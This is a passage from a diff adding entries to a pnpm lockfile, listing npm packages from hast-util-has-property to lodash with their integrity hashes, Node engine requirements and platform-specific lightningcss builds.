sha512-3kxEVkEKt0zvcZ3hCRYI8rqrgwtlIOFMWkbclACvjlDw8Li9S2hk/d51OI0nr/gIpdMHNepwgOKqZ/sy0Clpyg==} + + hast-util-has-property@3.0.0: + resolution: {integrity: sha512-MNilsvEKLFpV604hwfhVStK0usFY/QmM5zX16bo7EjnAEGofr5YyI37kzopBlZJkHD4t887i+q/C8/tr5Q94cA==} + + hast-util-heading-rank@3.0.0: + resolution: {integrity: sha512-EJKb8oMUXVHcWZTDepnr+WNbfnXKFNf9duMesmr4S8SXTJBJ9M4Yok08pu9vxdJwdlGRhVumk9mEhkEvKGifwA==} + + hast-util-is-element@3.0.0: + resolution: {integrity: sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g==} + + hast-util-parse-selector@3.1.1: + resolution: {integrity: sha512-jdlwBjEexy1oGz0aJ2f4GKMaVKkA9jwjr4MjAAI22E5fM/TXVZHuS5OpONtdeIkRKqAaryQ2E9xNQxijoThSZA==} + + hast-util-parse-selector@4.0.0: + resolution: {integrity: sha512-wkQCkSYoOGCRKERFWcxMVMOcYE2K1AaNLU8DXS9arxnLOUEWbOXKXiJUNzEpqZ3JOKpnha3jkFrumEjVliDe7A==} + + hast-util-raw@9.1.0: + resolution: {integrity: sha512-Y8/SBAHkZGoNkpzqqfCldijcuUKh7/su31kEBp67cFY09Wy0mTRgtsLYsiIxMJxlu0f6AA5SUTbDR8K0rxnbUw==} + + hast-util-select@6.0.4: + resolution: {integrity: sha512-RqGS1ZgI0MwxLaKLDxjprynNzINEkRHY2i8ln4DDjgv9ZhcYVIHN9rlpiYsqtFwrgpYU361SyWDQcGNIBVu3lw==} + + hast-util-to-html@9.0.5: + resolution: {integrity: sha512-OguPdidb+fbHQSU4Q4ZiLKnzWo8Wwsf5bZfbvu7//a9oTYoqD/fWpe96NuHkoS9h0ccGOTe0C4NGXdtS0iObOw==} + + hast-util-to-parse5@8.0.0: + resolution: {integrity: sha512-3KKrV5ZVI8if87DVSi1vDeByYrkGzg4mEfeu4alwgmmIeARiBLKCZS2uw5Gb6nU9x9Yufyj3iudm6i7nl52PFw==} + + hast-util-to-string@3.0.1: + resolution: {integrity: sha512-XelQVTDWvqcl3axRfI0xSeoVKzyIFPwsAGSLIsKdJKQMXDYJS4WYrBNF/8J7RdhIcFI2BOHgAifggsvsxp/3+A==} + + hast-util-to-text@4.0.2: + resolution: {integrity: sha512-KK6y/BN8lbaq654j7JgBydev7wuNMcID54lkRav1P0CaE1e47P72AWWPiGKXTJU271ooYzcvTAn/Zt0REnvc7A==} + + hast-util-whitespace@3.0.0: + resolution: {integrity: sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==} + + hastscript@7.2.0: + resolution: {integrity: sha512-TtYPq24IldU8iKoJQqvZOuhi5CyCQRAbvDOX0x1eW6rsHSxa/1i2CCiptNTotGHJ3VoHRGmqiv6/D3q113ikkw==} + + hastscript@9.0.1: + resolution: {integrity: sha512-g7df9rMFX/SPi34tyGCyUBREQoKkapwdY/T04Qn9TDWfHhAYt4/I0gMVirzK5wEzeUqIjEB+LXC/ypb7Aqno5w==} + + html-escaper@3.0.3: + resolution: {integrity: sha512-RuMffC89BOWQoY0WKGpIhn5gX3iI54O6nRA0yC124NYVtzjmFWBIiFd8M0x+ZdX0P9R4lADg1mgP8C7PxGOWuQ==} + + html-void-elements@3.0.0: + resolution: {integrity: sha512-bEqo66MRXsUGxWHV5IP0PUiAWwoEjba4VCzg0LjFJBpchPaTfyfCKTG6bc5F8ucKec3q5y6qOdGyYTSBEvhCrg==} + + htmlparser2@8.0.2: + resolution: {integrity: sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==} + + htmlparser2@9.1.0: + resolution: {integrity: sha512-5zfg6mHUoaer/97TxnGpxmbR7zJtPwIYFMZ/H5ucTlPZhKvtum05yiPK3Mgai3a0DyVxv7qYqoweaEd2nrYQzQ==} + + http-cache-semantics@4.2.0: + resolution: {integrity: sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==} + + iconv-lite@0.6.3: + resolution: {integrity: sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==} + engines: {node: '>=0.10.0'} + + icss-replace-symbols@1.1.0: + resolution: {integrity: sha512-chIaY3Vh2mh2Q3RGXttaDIzeiPvaVXJ+C4DAh/w3c37SKZ/U6PGMmuicR2EQQp9bKG8zLMCl7I+PtIoOOPp8Gg==} + + icss-utils@5.1.0: + resolution: {integrity: sha512-soFhflCVWLfRNOPU3iv5Z9VUdT44xFRbzjLsEzSr5AQmgqPMTHdU3PMT1Cf1ssx8fLNJDA1juftYl+PUcv3MqA==} + engines: {node: ^10 || ^12 || >= 14} + peerDependencies: + postcss: ^8.1.0 + + immutable@4.3.7: + resolution: {integrity: sha512-1hqclzwYwjRDFLjcFxOM5AYkkG0rpFPpr1RLPMEuGczoS7YA8gLhy8SWXYRAA/XwfEHpfo3cw5JGioS32fnMRw==} + + import-cwd@3.0.0: + resolution: {integrity: sha512-4pnzH16plW+hgvRECbDWpQl3cqtvSofHWh44met7ESfZ8UZOWWddm8hEyDTqREJ9RbYHY8gi8DqmaelApoOGMg==} + engines: {node: '>=8'} + + import-fresh@3.3.1: + resolution: {integrity: sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==} + engines: {node: '>=6'} + + import-from@3.0.0: + resolution: {integrity: sha512-CiuXOFFSzkU5x/CR0+z7T91Iht4CXgfCxVOFRhh2Zyhg5wOpWvvDLQUsWl+gcN+QscYBjez8hDCt85O7RLDttQ==} + engines: {node: '>=8'} + + import-meta-resolve@4.2.0: + resolution: {integrity: sha512-Iqv2fzaTQN28s/FwZAoFq0ZSs/7hMAHJVX+w8PZl3cY19Pxk6jFFalxQoIfW2826i/fDLXv8IiEZRIT0lDuWcg==} + + inflight@1.0.6: + resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==} + deprecated: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful. + + inherits@2.0.4: + resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} + + internal-slot@1.1.0: + resolution: {integrity: sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==} + engines: {node: '>= 0.4'} + + interpret@1.4.0: + resolution: {integrity: sha512-agE4QfB2Lkp9uICn7BAqoscw4SZP9kTE2hxiFI3jBPmXJfdqiahTbUuKGsMoN2GtqL9AxhYioAcVvgsb1HvRbA==} + engines: {node: '>= 0.10'} + + iron-webcrypto@1.2.1: + resolution: {integrity: sha512-feOM6FaSr6rEABp/eDfVseKyTMDt+KGpeB35SkVn9Tyn0CqvVsY3EwI0v5i8nMHyJnzCIQf7nsy3p41TPkJZhg==} + + is-alphabetical@2.0.1: + resolution: {integrity: sha512-FWyyY60MeTNyeSRpkM2Iry0G9hpr7/9kD40mD/cGQEuilcZYS4okz8SN2Q6rLCJ8gbCt6fN+rC+6tMGS99LaxQ==} + + is-alphanumerical@2.0.1: + resolution: {integrity: sha512-hmbYhX/9MUMF5uh7tOXyK/n0ZvWpad5caBA17GsC6vyuCqaWliRG5K1qS9inmUhEMaOBIW7/whAnSwveW/LtZw==} + + is-array-buffer@3.0.5: + resolution: {integrity: sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==} + engines: {node: '>= 0.4'} + + is-arrayish@0.2.1: + resolution: {integrity: sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==} + + is-async-function@2.1.1: + resolution: {integrity: sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ==} + engines: {node: '>= 0.4'} + + is-bigint@1.1.0: + resolution: {integrity: sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ==} + engines: {node: '>= 0.4'} + + is-binary-path@2.1.0: + resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==} + engines: {node: '>=8'} + + is-boolean-object@1.2.2: + resolution: {integrity: sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A==} + engines: {node: '>= 0.4'} + + is-callable@1.2.7: + resolution: {integrity: sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==} + engines: {node: '>= 0.4'} + + is-core-module@2.16.1: + resolution: {integrity: sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w==} + engines: {node: '>= 0.4'} + + is-data-view@1.0.2: + resolution: {integrity: sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw==} + engines: {node: '>= 0.4'} + + is-date-object@1.1.0: + resolution: {integrity: sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg==} + engines: {node: '>= 0.4'} + + is-decimal@2.0.1: + resolution: {integrity: sha512-AAB9hiomQs5DXWcRB1rqsxGUstbRroFOPPVAomNk/3XHR5JyEZChOyTWe2oayKnsSsr/kcGqF+z6yuH6HHpN0A==} + + is-docker@2.2.1: + resolution: {integrity: sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==} + engines: {node: '>=8'} + hasBin: true + + is-docker@3.0.0: + resolution: {integrity: sha512-eljcgEDlEns/7AXFosB5K/2nCM4P7FQPkGc/DWLy5rmFEWvZayGrik1d9/QIY5nJ4f9YsVvBkA6kJpHn9rISdQ==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + hasBin: true + + is-extglob@2.1.1: + resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} + engines: {node: '>=0.10.0'} + + is-finalizationregistry@1.1.1: + resolution: {integrity: sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg==} + engines: {node: '>= 0.4'} + + is-fullwidth-code-point@3.0.0: + resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} + engines: {node: '>=8'} + + is-generator-function@1.1.0: + resolution: {integrity: sha512-nPUB5km40q9e8UfN/Zc24eLlzdSf9OfKByBw9CIdw4H1giPMeA0OIJvbchsCu4npfI2QcMVBsGEBHKZ7wLTWmQ==} + engines: {node: '>= 0.4'} + + is-glob@4.0.3: + resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} + engines: {node: '>=0.10.0'} + + is-hexadecimal@2.0.1: + resolution: {integrity: sha512-DgZQp241c8oO6cA1SbTEWiXeoxV42vlcJxgH+B3hi1AiqqKruZR3ZGF8In3fj4+/y/7rHvlOZLZtgJ/4ttYGZg==} + + is-inside-container@1.0.0: + resolution: {integrity: sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==} + engines: {node: '>=14.16'} + hasBin: true + + is-map@2.0.3: + resolution: {integrity: sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw==} + engines: {node: '>= 0.4'} + + is-module@1.0.0: + resolution: {integrity: sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==} + + is-negative-zero@2.0.3: + resolution: {integrity: sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw==} + engines: {node: '>= 0.4'} + + is-number-object@1.1.1: + resolution: {integrity: sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw==} + engines: {node: '>= 0.4'} + + is-number@7.0.0: + resolution: {integrity: sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==} + engines: {node: '>=0.12.0'} + + is-plain-obj@4.1.0: + resolution: {integrity: sha512-+Pgi+vMuUNkJyExiMBt5IlFoMyKnr5zhJ4Uspz58WOhBF5QoIZkFyNHIbBAtHwzVAgk5RtndVNsDRN61/mmDqg==} + engines: {node: '>=12'} + + is-plain-object@5.0.0: + resolution: {integrity: sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==} + engines: {node: '>=0.10.0'} + + is-reference@1.2.1: + resolution: {integrity: sha512-U82MsXXiFIrjCK4otLT+o2NA2Cd2g5MLoOVXUZjIOhLurrRxpEXzI8O0KZHr3IjLvlAH1kTPYSuqer5T9ZVBKQ==} + + is-reference@3.0.3: + resolution: {integrity: sha512-ixkJoqQvAP88E6wLydLGGqCJsrFUnqoH6HnaczB8XmDH1oaWU+xxdptvikTgaEhtZ53Ky6YXiBuUI2WXLMCwjw==} + + is-regex@1.2.1: + resolution: {integrity: sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==} + engines: {node: '>= 0.4'} + + is-set@2.0.3: + resolution: {integrity: sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg==} + engines: {node: '>= 0.4'} + + is-shared-array-buffer@1.0.4: + resolution: {integrity: sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A==} + engines: {node: '>= 0.4'} + + is-string@1.1.1: + resolution: {integrity: sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==} + engines: {node: '>= 0.4'} + + is-symbol@1.1.1: + resolution: {integrity: sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==} + engines: {node: '>= 0.4'} + + is-typed-array@1.1.15: + resolution: {integrity: sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==} + engines: {node: '>= 0.4'} + + is-weakmap@2.0.2: + resolution: {integrity: sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==} + engines: {node: '>= 0.4'} + + is-weakref@1.1.1: + resolution: {integrity: sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==} + engines: {node: '>= 0.4'} + + is-weakset@2.0.4: + resolution: {integrity: sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==} + engines: {node: '>= 0.4'} + + is-wsl@2.2.0: + resolution: {integrity: sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==} + engines: {node: '>=8'} + + is-wsl@3.1.0: + resolution: {integrity: sha512-UcVfVfaK4Sc4m7X3dUSoHoozQGBEFeDC+zVo06t98xe8CzHSZZBekNXH+tu0NalHolcJ/QAGqS46Hef7QXBIMw==} + engines: {node: '>=16'} + + isarray@2.0.5: + resolution: {integrity: sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==} + + isexe@2.0.0: + resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==} + + jackspeak@3.4.3: + resolution: {integrity: sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==} + + jake@10.9.2: + resolution: {integrity: sha512-2P4SQ0HrLQ+fw6llpLnOaGAvN2Zu6778SJMrCUwns4fOoG9ayrTiZk3VV8sCPkVZF8ab0zksVpS8FDY5pRCNBA==} + engines: {node: '>=10'} + hasBin: true + + jest-worker@26.6.2: + resolution: {integrity: sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==} + engines: {node: '>= 10.13.0'} + + jiti@1.21.7: + resolution: {integrity: sha512-/imKNG4EbWNrVjoNC/1H5/9GFy+tqjGBHCaSsN+P2RnPqjsLmv6UD3Ej+Kj8nBWaRAwyk7kK5ZUc+OEatnTR3A==} + hasBin: true + + js-tokens@4.0.0: + resolution: {integrity: sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==} + + js-yaml@4.1.0: + resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==} + hasBin: true + + jsesc@3.0.2: + resolution: {integrity: sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==} + engines: {node: '>=6'} + hasBin: true + + jsesc@3.1.0: + resolution: {integrity: sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==} + engines: {node: '>=6'} + hasBin: true + + json-parse-even-better-errors@2.3.1: + resolution: {integrity: sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==} + + json-schema-traverse@1.0.0: + resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==} + + json5@2.2.3: + resolution: {integrity: sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==} + engines: {node: '>=6'} + hasBin: true + + jsonc-parser@2.3.1: + resolution: {integrity: sha512-H8jvkz1O50L3dMZCsLqiuB2tA7muqbSg1AtGEkN0leAqGjsUzDJir3Zwr02BhqdcITPg3ei3mZ+HjMocAknhhg==} + + jsonc-parser@3.3.1: + resolution: {integrity: sha512-HUgH65KyejrUFPvHFPbqOY0rsFip3Bo5wb4ngvdi1EpCYWUQDC5V+Y7mZws+DLkr4M//zQJoanu1SP+87Dv1oQ==} + + jsonfile@6.1.0: + resolution: {integrity: sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==} + + katex@0.16.23: + resolution: {integrity: sha512-7VlC1hsEEolL9xNO05v9VjrvWZePkCVBJqj8ruICxYjZfHaHbaU53AlP+PODyFIXEnaEIEWi3wJy7FPZ95JAVg==} + hasBin: true + + kleur@3.0.3: + resolution: {integrity: sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==} + engines: {node: '>=6'} + + kleur@4.1.5: + resolution: {integrity: sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==} + engines: {node: '>=6'} + + kolorist@1.8.0: + resolution: {integrity: sha512-Y+60/zizpJ3HRH8DCss+q95yr6145JXZo46OTpFvDZWLfRCE4qChOyk1b26nMaNpfHHgxagk9dXT5OP0Tfe+dQ==} + + lightningcss-darwin-arm64@1.29.3: + resolution: {integrity: sha512-fb7raKO3pXtlNbQbiMeEu8RbBVHnpyqAoxTyTRMEWFQWmscGC2wZxoHzZ+YKAepUuKT9uIW5vL2QbFivTgprZg==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [darwin] + + lightningcss-darwin-x64@1.29.3: + resolution: {integrity: sha512-KF2XZ4ZdmDGGtEYmx5wpzn6u8vg7AdBHaEOvDKu8GOs7xDL/vcU2vMKtTeNe1d4dogkDdi3B9zC77jkatWBwEQ==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [darwin] + + lightningcss-freebsd-x64@1.29.3: + resolution: {integrity: sha512-VUWeVf+V1UM54jv9M4wen9vMlIAyT69Krl9XjI8SsRxz4tdNV/7QEPlW6JASev/pYdiynUCW0pwaFquDRYdxMw==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [freebsd] + + lightningcss-linux-arm-gnueabihf@1.29.3: + resolution: {integrity: sha512-UhgZ/XVNfXQVEJrMIWeK1Laj8KbhjbIz7F4znUk7G4zeGw7TRoJxhb66uWrEsonn1+O45w//0i0Fu0wIovYdYg==} + engines: {node: '>= 12.0.0'} + cpu: [arm] + os: [linux] + + lightningcss-linux-arm64-gnu@1.29.3: + resolution: {integrity: sha512-Pqau7jtgJNmQ/esugfmAT1aCFy/Gxc92FOxI+3n+LbMHBheBnk41xHDhc0HeYlx9G0xP5tK4t0Koy3QGGNqypw==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + + lightningcss-linux-arm64-musl@1.29.3: + resolution: {integrity: sha512-dxakOk66pf7KLS7VRYFO7B8WOJLecE5OPL2YOk52eriFd/yeyxt2Km5H0BjLfElokIaR+qWi33gB8MQLrdAY3A==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [linux] + + lightningcss-linux-x64-gnu@1.29.3: + resolution: {integrity: sha512-ySZTNCpbfbK8rqpKJeJR2S0g/8UqqV3QnzcuWvpI60LWxnFN91nxpSSwCbzfOXkzKfar9j5eOuOplf+klKtINg==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + + lightningcss-linux-x64-musl@1.29.3: + resolution: {integrity: sha512-3pVZhIzW09nzi10usAXfIGTTSTYQ141dk88vGFNCgawIzayiIzZQxEcxVtIkdvlEq2YuFsL9Wcj/h61JHHzuFQ==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [linux] + + lightningcss-win32-arm64-msvc@1.29.3: + resolution: {integrity: sha512-VRnkAvtIkeWuoBJeGOTrZxsNp4HogXtcaaLm8agmbYtLDOhQdpgxW6NjZZjDXbvGF+eOehGulXZ3C1TiwHY4QQ==} + engines: {node: '>= 12.0.0'} + cpu: [arm64] + os: [win32] + + lightningcss-win32-x64-msvc@1.29.3: + resolution: {integrity: sha512-IszwRPu2cPnDQsZpd7/EAr0x2W7jkaWqQ1SwCVIZ/tSbZVXPLt6k8s6FkcyBjViCzvB5CW0We0QbbP7zp2aBjQ==} + engines: {node: '>= 12.0.0'} + cpu: [x64] + os: [win32] + + lightningcss@1.29.3: + resolution: {integrity: sha512-GlOJwTIP6TMIlrTFsxTerwC0W6OpQpCGuX1ECRLBUVRh6fpJH3xTqjCjRgQHTb4ZXexH9rtHou1Lf03GKzmhhQ==} + engines: {node: '>= 12.0.0'} + + lilconfig@2.1.0: + resolution: {integrity: sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==} + engines: {node: '>=10'} + + lilconfig@3.1.3: + resolution: {integrity: sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==} + engines: {node: '>=14'} + + lines-and-columns@1.2.4: + resolution: {integrity: sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==} + + linkify-it@5.0.0: + resolution: {integrity: sha512-5aHCbzQRADcdP+ATqnDuhhJ/MRIqDkZX5pyjFHRRysS8vZ5AbqGEoFIb6pYHPZ+L/OC2Lc+xT8uHVVR5CAK/wQ==} + + loader-utils@3.3.1: + resolution: {integrity: sha512-FMJTLMXfCLMLfJxcX9PFqX5qD88Z5MRGaZCVzfuqeZSPsyiBzs+pahDQjbIWz2QIzPZz0NX9Zy4FX3lmK6YHIg==} + engines: {node: '>= 12.13.0'} + + local-pkg@0.5.1: + resolution: {integrity: sha512-9rrA30MRRP3gBD3HTGnC6cDFpaE1kVDWxWgqWJUN0RvDNAo+Nz/9GxB+nHOH0ifbVFy0hSA1V6vFDvnx54lTEQ==} + engines: {node: '>=14'} + + local-pkg@1.1.1: + resolution: {integrity: sha512-WunYko2W1NcdfAFpuLUoucsgULmgDBRkdxHxWQ7mK0cQqwPiy8E1enjuRBrhLtZkB5iScJ1XIPdhVEFK8aOLSg==} + engines: {node: '>=14'} + + locate-character@3.0.0: + resolution: {integrity: sha512-SW13ws7BjaeJ6p7Q6CO2nchbYEc3X3J6WrmTTDto7yMPqVSZTUyY5Tjbid+Ab8gLnATtygYtiDIJGQRRn2ZOiA==} + + locate-path@5.0.0: + resolution: {integrity: sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==} + engines: {node: '>=8'} + + lodash.camelcase@4.3.0: + resolution: {integrity: sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==} + + lodash.debounce@4.0.8: + resolution: {integrity: sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==} + + lodash.memoize@4.1.2: + resolution: {integrity: sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==} + + lodash.merge@4.6.2: + resolution: {integrity: sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==} + + lodash.uniq@4.5.0: + resolution: {integrity: sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==} + + lodash@4.17.21: + resolution: {integrity: 